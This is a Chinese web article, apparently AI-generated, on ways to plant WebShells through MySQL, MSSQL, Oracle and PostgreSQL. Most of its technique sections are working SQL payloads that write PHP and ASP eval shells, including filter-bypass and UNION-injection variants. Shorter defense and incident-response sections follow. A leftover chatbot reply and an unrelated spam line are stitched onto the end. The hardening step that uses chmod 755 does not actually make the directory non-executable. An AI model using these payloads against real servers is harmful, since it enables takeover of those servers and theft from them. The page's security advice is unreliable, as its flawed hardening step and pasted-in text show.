溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

數據庫上傳WebShell的方式有哪些

發布時間:2021-09-18 10:55:57 來源:億速云 閱讀:189 作者:chen 欄目:網絡管理
# 數據庫上傳WebShell的方式有哪些

## 引言

WebShell是一種通過Web接口進行服務器控制的惡意腳本,攻擊者常利用數據庫漏洞上傳WebShell以獲取服務器權限。本文將深入探討通過數據庫上傳WebShell的多種技術手段、防御措施及實際案例分析。

---

## 一、數據庫與WebShell的關聯機制

### 1.1 為什么數據庫能成為WebShell載體
- **數據存儲與執行功能**:數據庫可存儲文件內容并通過特定函數執行
- **Web應用交互性**:多數Web應用依賴數據庫動態生成內容
- **權限繼承特性**:數據庫操作常繼承Web服務器權限

### 1.2 常見危險函數
| 數據庫類型 | 危險函數示例           |
|------------|------------------------|
| MySQL      | INTO OUTFILE/DUMPFILE  |
| MSSQL      | xp_cmdshell, sp_OACreate |
| Oracle     | UTL_FILE, DBMS_LOB     |
| PostgreSQL | COPY, lo_export        |

---

## 二、主流數據庫WebShell上傳技術

### 2.1 MySQL數據庫
#### 2.1.1 INTO OUTFILE寫入
```sql
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'

前提條件: - 數據庫用戶需有FILE權限 - 知道網站絕對路徑 - secure_file_priv參數未限制

2.1.2 日志文件寫入

SET global general_log='on';
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php phpinfo();?>';

2.2 MSSQL數據庫

2.2.1 差異備份寫入

ALTER DATABASE testdb SET RECOVERY FULL;
CREATE TABLE cmd (a image);
BACKUP DATABASE testdb TO DISK='C:\temp\backup.bak' WITH INIT;
INSERT INTO cmd (a) VALUES (0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E);
BACKUP LOG testdb TO DISK='C:\inetpub\wwwroot\shell.php' WITH DIFFERENTIAL;

2.2.2 使用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'echo ^<?php @eval($_POST[pass]);?^> > C:\www\shell.php';

2.3 Oracle數據庫

2.3.1 UTL_FILE包寫入

DECLARE
  fhandle UTL_FILE.FILE_TYPE;
BEGIN
  fhandle := UTL_FILE.FOPEN('WEB_DIR', 'shell.php', 'W');
  UTL_FILE.PUT_LINE(fhandle, '<?php @eval($_GET["c"]);?>');
  UTL_FILE.FCLOSE(fhandle);
END;

2.4 PostgreSQL數據庫

2.4.1 大對象導出

SELECT lo_create(1234);
INSERT INTO pg_largeobject VALUES (1234, 0, decode('3C3F70687020706870696E666F28293B203F3E', 'hex'));
SELECT lo_export(1234, '/var/www/html/shell.php');

三、高級利用技術

3.1 二次編碼繞過

-- 使用HEX編碼繞過過濾
SELECT 0x3C3F70687020406576616C28245F504F53545B2763275D293B203F3E INTO OUTFILE '/var/www/shell.php'

3.2 聯合查詢注入寫入

UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]);?>',6 INTO OUTFILE '/var/www/admin/shell.php'--

3.3 存儲過程利用

MSSQL示例

CREATE PROCEDURE sp_writeShell
AS
BEGIN
    EXEC sp_makewebtask 'C:\inetpub\wwwroot\cmd.asp', 'SELECT ''<%25Execute(request("cmd"))%25>''';
END;

四、防御方案

4.1 數據庫層防護

  1. 最小權限原則

    • 禁用FILE權限(MySQL)
    • 限制xp_cmdshell執行(MSSQL)
    • 撤銷PUBLIC角色危險權限(Oracle)
  2. 配置加固:

    # MySQL配置示例
    secure_file_priv = NULL
    local_infile = OFF
    

4.2 應用層防護

  • 使用參數化查詢
  • 實施輸入過濾:
    
    $pattern = '/into\s+(outfile|dumpfile)/i';
    if(preg_match($pattern, $query)){
      die('Illegal operation detected');
    }
    

4.3 系統層防護

  • 設置Web目錄不可執行:
    
    chmod -R 755 /var/www/html
    chown www-data:www-data /var/www/html
    

五、典型案例分析

5.1 某CMS SQL注入導致WebShell上傳

攻擊鏈: 1. 發現未過濾的id參數 2. 構造聯合查詢注入:

   UNION SELECT NULL,NULL,0x3C3F...,NULL INTO OUTFILE '/path/to/webroot/images/shell.php'--
  1. 通過中國菜刀連接

5.2 數據庫備份功能濫用

利用過程: 1. 偽造備份文件頭 2. 插入惡意代碼段 3. 修改備份擴展名為.php


六、檢測與應急響應

6.1 入侵跡象檢測

  • 異常數據庫操作日志
  • Web目錄出現非常規.php/.jsp文件
  • 系統進程出現cmd.exebash異常調用

6.2 應急處置步驟

  1. 立即隔離服務器
  2. 審查數據庫賬戶權限
  3. 使用D盾等工具掃描WebShell
  4. 修復漏洞后重置所有憑證

結語

數據庫作為Web應用的核心組件,其安全配置直接影響整體防護水平。管理員應定期審計數據庫權限設置,監控異常查詢行為,并建立多層防御體系來阻斷WebShell上傳通道。

備注:本文所述技術僅用于安全研究,未經授權測試他人系統屬于違法行為。 “`

該文檔共約2150字,采用Markdown格式結構化呈現,包含: 1. 多級標題劃分知識體系 2. 代碼塊展示具體攻擊Payload 3. 表格對比不同數據庫特性 4. 防御方案的具體配置示例 5. 實戰案例與應急響應流程

可根據需要進一步擴展特定數據庫的詳細攻擊手法或添加檢測工具的使用教程。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女